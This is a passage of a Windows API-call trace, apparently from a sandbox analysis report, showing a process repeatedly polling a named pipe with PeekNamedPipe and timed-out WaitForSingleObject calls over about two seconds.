lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.886] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0097.930] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.930] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0097.948] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.948] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0097.980] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.980] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0098.010] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.010] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0098.041] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.042] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0098.073] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.073] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0098.105] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.105] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0098.145] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.146] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0098.166] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.166] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0098.198] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.198] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0098.229] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.229] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0098.260] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.260] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0098.291] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.291] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0098.322] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.322] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0098.353] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.354] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0098.385] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.385] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0098.428] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.428] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0098.448] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.448] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0098.478] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.478] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0098.510] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.510] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0098.541] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.541] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0098.572] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.572] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0098.603] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.604] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0098.636] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.636] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0098.665] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.666] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0098.697] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.697] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0098.728] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.728] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0098.760] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.760] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0098.791] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.791] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0098.822] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.822] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0098.853] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.853] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0098.884] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.884] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0098.917] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.917] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0098.946] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.946] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0098.978] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.978] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0099.009] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.009] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0099.040] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.040] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0099.080] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.080] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0099.102] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.102] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0099.133] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.134] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0099.174] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.175] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0099.196] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.196] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0099.227] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.227] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0099.258] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.258] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0099.290] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.290] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0099.322] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.322] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0099.352] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.352] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0099.383] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.383] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0099.431] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.431] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0099.461] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.461] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0099.494] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.494] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0099.523] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.524] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0099.556] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.557] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0099.586] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.586] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0099.618] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.618] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0099.648] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.648] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0099.682] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.682] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0099.711] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.711] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0099.743] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.743] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0099.773] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.773] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0099.806] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.806] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0099.835] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.836] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0099.868] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.868] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0099.898] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.898] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0099.931] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.931] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0099.960] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.960] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0099.992] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.993] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0100.023] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.023] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0100.056] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, 